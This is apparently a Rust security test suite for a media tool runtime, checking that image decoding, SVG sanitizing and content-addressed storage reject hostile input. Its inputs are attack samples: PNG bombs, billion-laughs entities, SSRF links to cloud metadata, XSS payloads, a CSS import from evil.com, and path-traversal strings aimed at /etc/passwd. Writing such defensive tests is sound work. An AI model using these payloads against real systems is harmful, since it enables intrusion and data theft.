#[cfg(test)]
mod tests {
use crate::runtime::builtin::media::MediaOpResult;
use std::sync::Arc;
use crate::media::{CasStore, MediaBudget};
use crate::runtime::builtin::media::context::{MediaToolContext, WorkingMemoryBudget};
use crate::runtime::builtin::media::dimensions::DimensionsOp;
use crate::runtime::builtin::media::safety::sanitize_svg;
use crate::runtime::builtin::media::thumbhash_tool::ThumbhashOp;
use crate::runtime::builtin::media::{MediaOp, MediaToolAdapter};
use crate::runtime::builtin::BuiltinTool;
async fn setup() -> (tempfile::TempDir, Arc<MediaToolContext>) {
let dir = tempfile::tempdir().unwrap();
let ctx = Arc::new(MediaToolContext::new(CasStore::new(dir.path())).unwrap());
(dir, ctx)
}
fn setup_with_budget(dir: &std::path::Path, budget_bytes: u64) -> Arc<MediaToolContext> {
Arc::new(MediaToolContext {
cas: CasStore::new(dir),
budget: Arc::new(MediaBudget::with_max_per_run(budget_bytes)),
compute: Arc::new(crate::runtime::builtin::media::context::ComputePool::new().unwrap()),
working_memory: Arc::new(WorkingMemoryBudget::new()),
cancel: tokio_util::sync::CancellationToken::new(),
})
}
#[allow(dead_code)]
fn setup_with_working_memory(dir: &std::path::Path, max_bytes: usize) -> Arc<MediaToolContext> {
Arc::new(MediaToolContext {
cas: CasStore::new(dir),
budget: Arc::new(MediaBudget::new()),
compute: Arc::new(crate::runtime::builtin::media::context::ComputePool::new().unwrap()),
working_memory: Arc::new(WorkingMemoryBudget::with_max(max_bytes)),
cancel: tokio_util::sync::CancellationToken::new(),
})
}
#[cfg(any(feature = "media-thumbnail", feature = "media-svg"))]
#[test]
fn bomb_png_65535x65535_ihdr_rejected_by_limits() {
use crate::runtime::builtin::media::safety::decode_image_safe;
let mut png = Vec::new();
png.extend_from_slice(&[137, 80, 78, 71, 13, 10, 26, 10]);
let ihdr_data: [u8; 13] = [
0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 8, 6, 0, 0, 0, ];
let ihdr_crc = png_crc(b"IHDR", &ihdr_data);
png.extend_from_slice(&(13u32).to_be_bytes());
png.extend_from_slice(b"IHDR");
png.extend_from_slice(&ihdr_data);
png.extend_from_slice(&ihdr_crc.to_be_bytes());
let fake_idat = vec![
0x78, 0x01, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01,
];
let idat_crc = png_crc(b"IDAT", &fake_idat);
png.extend_from_slice(&(fake_idat.len() as u32).to_be_bytes());
png.extend_from_slice(b"IDAT");
png.extend_from_slice(&fake_idat);
png.extend_from_slice(&idat_crc.to_be_bytes());
let iend_crc = png_crc(b"IEND", &[]);
png.extend_from_slice(&0u32.to_be_bytes());
png.extend_from_slice(b"IEND");
png.extend_from_slice(&iend_crc.to_be_bytes());
let result = decode_image_safe(&png);
assert!(result.is_err(), "65535x65535 PNG must be rejected");
let err = result.unwrap_err();
assert!(
err.to_string().contains("NIKA-290"),
"expected NIKA-290 (tool_error from decode), got: {err}"
);
}
#[cfg(any(feature = "media-thumbnail", feature = "media-svg"))]
#[test]
fn bomb_png_valid_header_massive_idat_rejected() {
use crate::runtime::builtin::media::safety::decode_image_safe;
let mut png = Vec::new();
png.extend_from_slice(&[137, 80, 78, 71, 13, 10, 26, 10]);
let ihdr_data: [u8; 13] = [
0x00, 0x00, 0x27, 0x10, 0x00, 0x00, 0x27, 0x10, 8, 6, 0, 0, 0,
];
let ihdr_crc = png_crc(b"IHDR", &ihdr_data);
png.extend_from_slice(&(13u32).to_be_bytes());
png.extend_from_slice(b"IHDR");
png.extend_from_slice(&ihdr_data);
png.extend_from_slice(&ihdr_crc.to_be_bytes());
let fake_idat = vec![
0x78, 0x01, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01,
];
let idat_crc = png_crc(b"IDAT", &fake_idat);
png.extend_from_slice(&(fake_idat.len() as u32).to_be_bytes());
png.extend_from_slice(b"IDAT");
png.extend_from_slice(&fake_idat);
png.extend_from_slice(&idat_crc.to_be_bytes());
let iend_crc = png_crc(b"IEND", &[]);
png.extend_from_slice(&0u32.to_be_bytes());
png.extend_from_slice(b"IEND");
png.extend_from_slice(&iend_crc.to_be_bytes());
let result = decode_image_safe(&png);
assert!(
result.is_err(),
"10000x10000 RGBA PNG (400MB decoded) must be rejected"
);
let err = result.unwrap_err();
assert!(
err.to_string().contains("NIKA-290"),
"expected NIKA-290 from decode_image_safe limits, got: {err}"
);
}
#[cfg(any(feature = "media-thumbnail", feature = "media-svg"))]
#[test]
fn bomb_empty_data_no_panic() {
use crate::runtime::builtin::media::safety::decode_image_safe;
let result = decode_image_safe(&[]);
assert!(result.is_err());
}
#[cfg(any(feature = "media-thumbnail", feature = "media-svg"))]
#[test]
fn bomb_truncated_png_signature_only() {
use crate::runtime::builtin::media::safety::decode_image_safe;
let png_sig = [137, 80, 78, 71, 13, 10, 26, 10];
let result = decode_image_safe(&png_sig);
assert!(
result.is_err(),
"truncated PNG (signature only) must be rejected"
);
}
#[cfg(any(feature = "media-thumbnail", feature = "media-svg"))]
#[test]
fn bomb_png_at_dimension_limit_10000x1_accepted() {
use crate::runtime::builtin::media::safety::decode_image_safe;
let img = image::ImageBuffer::from_pixel(10_000, 1, image::Rgba([255u8, 0, 0, 255]));
let mut buf = Vec::new();
let enc = image::codecs::png::PngEncoder::new(&mut buf);
image::ImageEncoder::write_image(
enc,
img.as_raw(),
10_000,
1,
image::ExtendedColorType::Rgba8,
)
.unwrap();
let result = decode_image_safe(&buf);
assert!(result.is_ok(), "10000x1 should be within limits");
let decoded = result.unwrap();
assert_eq!(decoded.width(), 10_000);
assert_eq!(decoded.height(), 1);
}
#[test]
fn svg_attack_entity_expansion_billion_laughs() {
let svg = r#"<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY x0 "AAAAAAAAAA">
<!ENTITY x1 "&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;">
<!ENTITY x2 "&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;">
<!ENTITY x3 "&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;">
<!ENTITY x4 "&x3;&x3;&x3;&x3;&x3;&x3;&x3;&x3;&x3;&x3;">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&x4;</text>
</svg>"#;
let result = sanitize_svg(svg);
let _ = result;
}
#[test]
fn svg_attack_ssrf_xlink_localhost() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="http://localhost:8080/internal-api" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "xlink:href SSRF must be blocked");
assert!(
result.unwrap_err().to_string().contains("NIKA-297"),
"expected NIKA-297 for xlink SSRF"
);
}
#[test]
fn svg_attack_ssrf_xlink_loopback_ip() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="http://127.0.0.1:9200/_cat/indices" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "xlink:href to 127.0.0.1 must be blocked");
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_ssrf_xlink_cloud_metadata() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="http://169.254.169.254/latest/meta-data/" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"xlink:href to cloud metadata must be blocked"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_data_uri_html_injection() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image href="data:text/html,<script>alert('xss')</script>" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "data:text/html must be blocked");
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_data_uri_base64_html() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "data:text/html;base64 must be blocked");
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_css_import_external() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<style>@import url("https://evil.com/exfil.css");</style>
<rect width="100" height="100"/>
</svg>"#;
let _result = sanitize_svg(svg);
}
#[test]
fn svg_attack_nested_svg_recursion() {
let depth = 1000;
let mut svg = String::new();
for _ in 0..depth {
svg.push_str(r#"<svg xmlns="http://www.w3.org/2000/svg">"#);
}
svg.push_str(r#"<rect width="10" height="10"/>"#);
for _ in 0..depth {
svg.push_str("</svg>");
}
let result = sanitize_svg(&svg);
assert!(
result.is_ok(),
"deeply nested SVG has no forbidden elements"
);
}
#[cfg(feature = "media-svg")]
#[tokio::test]
async fn svg_attack_huge_viewbox_resource_limited() {
let (_dir, ctx) = setup().await;
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100000 100000">
<rect width="100000" height="100000" fill="red"/>
</svg>"#;
let sr = ctx.cas.store(svg.as_bytes()).await.unwrap();
let op = crate::runtime::builtin::media::svg::SvgRenderOp;
let result = op.execute(serde_json::json!({"hash": sr.hash}), &ctx).await;
match &result {
Ok(MediaOpResult::Binary { .. }) => {
}
Err(e) => {
let msg = e.to_string();
assert!(
msg.contains("NIKA-290") || msg.contains("NIKA-297"),
"expected NIKA-290 or NIKA-297, got: {msg}"
);
}
_ => {}
}
}
#[test]
fn svg_attack_mixed_safe_and_dangerous() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<rect width="100" height="100" fill="blue"/>
<circle cx="50" cy="50" r="40" fill="green"/>
<text x="10" y="50">Hello</text>
<path d="M 0 0 L 100 100" stroke="red"/>
<script>alert('gotcha')</script>
<ellipse cx="50" cy="50" rx="30" ry="20"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"single dangerous element in otherwise safe SVG must be rejected"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_event_handler_whitespace_obfuscation() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<rect onload = "alert(1)" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"event handler with extra whitespace must be caught"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_event_handler_tab_separated() {
let svg = "<svg xmlns=\"http://www.w3.org/2000/svg\">\n <rect onload\t=\"alert(1)\" width=\"10\" height=\"10\"/>\n</svg>";
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"event handler with tab separator must be caught"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_javascript_mixed_case() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<a href="JaVaScRiPt:alert(1)"><text>click</text></a>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"javascript: with mixed case must be caught"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_file_protocol_mixed_case() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<image href="FILE:///etc/shadow" width="10" height="10"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "file:// with mixed case must be caught");
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_foreign_object_mixed_case() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<FOREIGNOBJECT width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml"><div>pwned</div></body>
</FOREIGNOBJECT>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"FOREIGNOBJECT must be caught case-insensitively"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_polyglot_html_svg() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<body xmlns="http://www.w3.org/1999/xhtml">
<img src=x onerror="alert(1)">
</body>
</foreignObject>
</svg>"#;
let result = sanitize_svg(svg);
assert!(result.is_err(), "polyglot HTML/SVG must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[test]
fn svg_attack_multiple_forbidden_patterns() {
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<script>document.cookie</script>
<foreignObject><div>html</div></foreignObject>
<a href="javascript:void(0)">link</a>
<image xlink:href="file:///etc/passwd"/>
</svg>"#;
let result = sanitize_svg(svg);
assert!(
result.is_err(),
"SVG with multiple attacks must be rejected"
);
assert!(result.unwrap_err().to_string().contains("NIKA-297"));
}
#[tokio::test]
async fn path_traversal_dotdot_in_hash() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let traversal_hashes = vec![
"blake3:../../etc/passwd",
"blake3:../../../etc/shadow",
"../../etc/passwd",
"blake3:aa/../../../etc/passwd",
"blake3:aa/../../bb",
];
for hash in traversal_hashes {
let result = store.read(hash).await;
assert!(
result.is_err(),
"path traversal hash '{}' must be rejected",
hash
);
let err_msg = result.unwrap_err().to_string();
assert!(
err_msg.contains("NIKA-253"),
"expected NIKA-253 for path traversal '{}', got: {err_msg}",
hash
);
}
}
#[tokio::test]
async fn path_traversal_null_bytes_in_hash() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let result = store.read("blake3:abcdef\0../../etc/passwd").await;
assert!(result.is_err(), "null byte in hash must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-253"),
"expected NIKA-253 for null byte hash"
);
}
#[tokio::test]
async fn path_traversal_url_encoded() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let hashes = vec![
"blake3:%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"blake3:..%2f..%2fetc%2fpasswd",
"blake3:%2e%2e/%2e%2e/etc/passwd",
];
for hash in hashes {
let result = store.read(hash).await;
assert!(
result.is_err(),
"URL-encoded traversal '{}' must be rejected",
hash
);
assert!(result.unwrap_err().to_string().contains("NIKA-253"));
}
}
#[tokio::test]
async fn path_traversal_unicode_normalization() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let hashes = vec![
"blake3:\u{FF0E}\u{FF0E}\u{FF0F}etc\u{FF0F}passwd",
"blake3:a\u{0307}\u{0307}/etc/passwd",
"blake3:\u{FF0E}\u{FF0E}/\u{FF0E}\u{FF0E}/etc/passwd",
];
for hash in hashes {
let result = store.read(hash).await;
assert!(
result.is_err(),
"Unicode normalization attack '{}' must be rejected",
hash
);
assert!(result.unwrap_err().to_string().contains("NIKA-253"));
}
}
#[tokio::test]
async fn path_traversal_backslash() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let result = store.read(r"blake3:..\..\etc\passwd").await;
assert!(result.is_err(), "backslash traversal must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-253"));
}
#[tokio::test]
async fn path_traversal_short_non_hex_hash() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let result = store.read("blake3:zz").await;
assert!(result.is_err());
assert!(result.unwrap_err().to_string().contains("NIKA-253"));
}
#[tokio::test]
async fn path_traversal_adversarial_data_content() {
let dir = tempfile::tempdir().unwrap();
let store = CasStore::new(dir.path());
let evil_data = b"../../../../etc/passwd";
let result = store.store(evil_data).await.unwrap();
let canonical_root = dir.path().canonicalize().unwrap();
let canonical_path = result.path.canonicalize().unwrap();
assert!(
canonical_path.starts_with(&canonical_root),
"CAS path must stay within root"
);
}
#[tokio::test]
async fn exhaustion_100_concurrent_operations() {
let (_dir, ctx) = setup().await;
let ctx = Arc::clone(&ctx);
let img = image::ImageBuffer::from_pixel(10, 10, image::Rgba([255u8, 0, 0, 255]));
let mut buf = Vec::new();
let enc = image::codecs::png::PngEncoder::new(&mut buf);
image::ImageEncoder::write_image(
enc,
img.as_raw(),
10,
10,
image::ExtendedColorType::Rgba8,
)
.unwrap();
let sr = ctx.cas.store(&buf).await.unwrap();
let hash = sr.hash.clone();
let handles: Vec<_> = (0..100)
.map(|_| {
let ctx = Arc::clone(&ctx);
let hash = hash.clone();
tokio::spawn(async move {
let op = DimensionsOp;
op.execute(serde_json::json!({"hash": hash}), &ctx).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
let success_count = results
.iter()
.filter(|r| r.as_ref().unwrap().is_ok())
.count();
assert_eq!(
success_count, 100,
"all 100 concurrent dimension reads should succeed"
);
}
#[tokio::test]
async fn exhaustion_budget_exactly_at_max_then_one_more() {
let dir = tempfile::tempdir().unwrap();
let budget_bytes = 1024u64;
let ctx = setup_with_budget(dir.path(), budget_bytes);
let data = vec![0xAB_u8; budget_bytes as usize];
let result = ctx.store_media(&data, "fill_budget").await;
assert!(result.is_ok(), "storing exactly max budget should succeed");
assert_eq!(ctx.budget.current_bytes(), budget_bytes);
let one_more = vec![0xCD_u8; 1];
let result = ctx.store_media(&one_more, "one_more").await;
assert!(result.is_err(), "one byte over budget must be rejected");
let err = result.unwrap_err();
assert!(
err.to_string().contains("NIKA-259"),
"expected NIKA-259 (RunBudgetExceeded), got: {err}"
);
assert_eq!(ctx.budget.current_bytes(), budget_bytes);
}
#[tokio::test]
async fn exhaustion_budget_concurrent_race_condition() {
let dir = tempfile::tempdir().unwrap();
let ctx = setup_with_budget(dir.path(), 1000);
let handles: Vec<_> = (0..20)
.map(|i| {
let ctx = Arc::clone(&ctx);
tokio::spawn(async move {
let data = vec![i as u8; 100];
ctx.store_media(&data, &format!("task_{i}")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
let success_count = results
.iter()
.filter(|r| r.as_ref().unwrap().is_ok())
.count();
let fail_count = results
.iter()
.filter(|r| r.as_ref().unwrap().is_err())
.count();
assert_eq!(
success_count, 10,
"exactly 10 should fit in 1000-byte budget"
);
assert_eq!(fail_count, 10, "exactly 10 should be rejected");
assert_eq!(
ctx.budget.current_bytes(),
1000,
"budget should be exactly at max"
);
}
#[test]
fn exhaustion_working_memory_concurrent_acquires() {
let budget = WorkingMemoryBudget::with_max(1024);
let mut guards = Vec::new();
for _ in 0..10 {
match budget.acquire(100) {
Ok(g) => guards.push(g),
Err(_) => break,
}
}
assert_eq!(
guards.len(),
10,
"should fit 10 x 100 = 1000 in 1024 budget"
);
assert_eq!(budget.current(), 1000);
let result = budget.acquire(100);
assert!(result.is_err(), "working memory should be exhausted");
assert!(
result.unwrap_err().to_string().contains("NIKA-290"),
"expected NIKA-290 from working memory exhaustion"
);
guards.clear();
assert_eq!(budget.current(), 0, "all memory should be released");
let _g = budget.acquire(1024).unwrap();
assert_eq!(budget.current(), 1024);
}
#[test]
fn exhaustion_working_memory_exact_then_one_more() {
let budget = WorkingMemoryBudget::with_max(512);
let _guard = budget.acquire(512).unwrap();
assert_eq!(budget.current(), 512);
let result = budget.acquire(1);
assert!(
result.is_err(),
"1 byte over working memory limit must fail"
);
assert!(result
.unwrap_err()
.to_string()
.contains("working memory exhausted"));
}
#[test]
fn exhaustion_working_memory_zero_acquire() {
let budget = WorkingMemoryBudget::with_max(0);
let result = budget.acquire(0);
assert!(
result.is_ok(),
"zero-size acquire should succeed even with zero budget"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_negative_width() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": -5
}),
&ctx,
)
.await;
assert!(result.is_err(), "negative width must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for negative width"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_float_width() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": 2.5
}),
&ctx,
)
.await;
assert!(result.is_err(), "float width must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for float width"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_string_width() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": "one hundred"
}),
&ctx,
)
.await;
assert!(result.is_err(), "string width must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for string width"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_max_u64_width() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": u64::MAX
}),
&ctx,
)
.await;
assert!(result.is_err(), "u64::MAX width must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for u64::MAX width"
);
}
#[tokio::test]
async fn inject_dimensions_empty_hash() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let result = op.execute(serde_json::json!({"hash": ""}), &ctx).await;
assert!(result.is_err(), "empty hash must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-253"),
"expected NIKA-253 for empty hash"
);
}
#[tokio::test]
async fn inject_dimensions_very_long_hash() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let long_hash = format!("blake3:{}", "a".repeat(1_048_576));
let result = op
.execute(serde_json::json!({"hash": long_hash}), &ctx)
.await;
assert!(
result.is_err(),
"1MB hash must be rejected (file not found)"
);
let err_msg = result.unwrap_err().to_string();
assert!(
err_msg.contains("NIKA-253") || err_msg.contains("NIKA-255"),
"expected NIKA-253 or NIKA-255, got: {err_msg}"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_convert_format_path_traversal() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::convert::ConvertOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "format": "../../etc/passwd"
}),
&ctx,
)
.await;
assert!(result.is_err(), "path traversal in format must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-291"),
"expected NIKA-291 for path traversal format"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_convert_format_null_byte() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::convert::ConvertOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "format": "png\0../../etc/passwd"
}),
&ctx,
)
.await;
assert!(
result.is_err(),
"format with null byte must not match 'png'"
);
assert!(
result.unwrap_err().to_string().contains("NIKA-291"),
"expected NIKA-291 for format with null byte"
);
}
#[tokio::test]
async fn inject_all_tools_missing_hash_param() {
let (_dir, ctx) = setup().await;
let result = DimensionsOp.execute(serde_json::json!({}), &ctx).await;
assert!(result.is_err());
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
let result = ThumbhashOp.execute(serde_json::json!({}), &ctx).await;
assert!(result.is_err());
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
let result = crate::runtime::builtin::media::color::DominantColorOp
.execute(serde_json::json!({}), &ctx)
.await;
assert!(result.is_err());
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_missing_all_params() {
let (_dir, ctx) = setup().await;
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op.execute(serde_json::json!({}), &ctx).await;
assert!(result.is_err());
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[tokio::test]
async fn inject_null_hash_value() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let result = op.execute(serde_json::json!({"hash": null}), &ctx).await;
assert!(result.is_err(), "null hash value must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[tokio::test]
async fn inject_integer_hash_value() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let result = op.execute(serde_json::json!({"hash": 12345}), &ctx).await;
assert!(result.is_err(), "integer hash value must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[tokio::test]
async fn inject_array_hash_value() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let result = op
.execute(serde_json::json!({"hash": [1, 2, 3]}), &ctx)
.await;
assert!(result.is_err(), "array hash value must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[tokio::test]
async fn inject_boolean_hash_value() {
let (_dir, ctx) = setup().await;
let op = DimensionsOp;
let result = op.execute(serde_json::json!({"hash": true}), &ctx).await;
assert!(result.is_err(), "boolean hash value must be rejected");
assert!(result.unwrap_err().to_string().contains("NIKA-294"));
}
#[tokio::test]
async fn inject_adapter_malformed_json() {
let dir = tempfile::tempdir().unwrap();
let ctx = Arc::new(MediaToolContext::new(CasStore::new(dir.path())).unwrap());
let adapter = MediaToolAdapter::new(Arc::new(DimensionsOp), ctx);
let malformed_inputs = vec![
"",
"not json at all",
"{",
"{'single': 'quotes'}",
"[1, 2, 3]", "null",
"42",
"true",
];
for input in malformed_inputs {
let result = adapter.call(input.to_string()).await;
assert!(
result.is_err(),
"malformed JSON '{}' must be rejected",
input
);
let err = result.unwrap_err();
assert!(
err.to_string().contains("NIKA-294"),
"expected NIKA-294 for malformed JSON '{}', got: {err}",
input
);
}
}
#[cfg(feature = "media-optimize")]
#[tokio::test]
async fn inject_optimize_negative_level() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::optimize::OptimizeOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "level": -1
}),
&ctx,
)
.await;
assert!(
result.is_ok(),
"negative level should fall back to default, not crash"
);
}
#[cfg(feature = "media-svg")]
#[tokio::test]
async fn inject_svg_render_negative_dimensions() {
let (_dir, ctx) = setup().await;
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<rect width="100" height="100" fill="red"/>
</svg>"#;
let sr = ctx.cas.store(svg.as_bytes()).await.unwrap();
let op = crate::runtime::builtin::media::svg::SvgRenderOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": -100, "height": -100
}),
&ctx,
)
.await;
assert!(
result.is_ok(),
"negative dimensions should be ignored (as_u64 returns None)"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_zero_height() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": 50, "height": 0
}),
&ctx,
)
.await;
assert!(result.is_err(), "zero height must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for zero height"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_thumbnail_height_over_limit() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::thumbnail::ThumbnailOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "width": 50, "height": 20000
}),
&ctx,
)
.await;
assert!(result.is_err(), "height > 10000 must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-294"),
"expected NIKA-294 for oversized height"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_convert_extreme_quality_values() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::convert::ConvertOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "format": "jpeg", "quality": 0
}),
&ctx,
)
.await;
assert!(
result.is_ok(),
"quality=0 should be clamped to 1, not error"
);
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "format": "jpeg", "quality": 999
}),
&ctx,
)
.await;
assert!(
result.is_ok(),
"quality=999 should be clamped to 100, not error"
);
}
#[cfg(feature = "media-thumbnail")]
#[tokio::test]
async fn inject_dominant_color_extreme_count() {
let (_dir, ctx) = setup().await;
let png = fixture_png_10x10();
let sr = ctx.cas.store(&png).await.unwrap();
let op = crate::runtime::builtin::media::color::DominantColorOp;
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "count": 0
}),
&ctx,
)
.await;
assert!(result.is_ok(), "count=0 should be clamped to 2, not panic");
let result = op
.execute(
serde_json::json!({
"hash": sr.hash, "count": 1000
}),
&ctx,
)
.await;
assert!(
result.is_ok(),
"count=1000 should be clamped to 20, not panic"
);
}
#[tokio::test]
async fn cancellation_during_concurrent_operations() {
let (_dir, ctx) = setup().await;
let data = b"cancel test data padding to make it non-empty";
let sr = ctx.cas.store(data).await.unwrap();
let handles: Vec<_> = (0..20)
.map(|_| {
let ctx = Arc::clone(&ctx);
let hash = sr.hash.clone();
tokio::spawn(async move {
let op = DimensionsOp;
op.execute(serde_json::json!({"hash": hash}), &ctx).await
})
})
